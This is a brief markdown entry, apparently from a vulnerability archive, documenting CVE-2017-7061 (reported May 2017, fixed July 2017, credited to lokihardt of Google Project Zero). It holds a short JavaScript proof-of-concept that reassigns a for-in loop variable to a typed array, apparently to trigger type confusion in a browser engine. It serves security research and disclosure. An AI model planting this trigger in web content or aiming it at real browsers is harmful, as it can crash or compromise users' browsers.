CVE-2017-7061.md

CVE-2017-7061

• Report: May 2017
• Fix: Jul 2017
• Credit: lokihardt, Google Project Zero

PoC

let o = {};
for (let i in {xx: 0}) {
    for (let j = 0; j < 2; j++) {
        o[i];
        i = new Uint32Array([0, 1, 0x777777, 0, 0]);
    }
}

Reference

• Apple
• Google Project Zero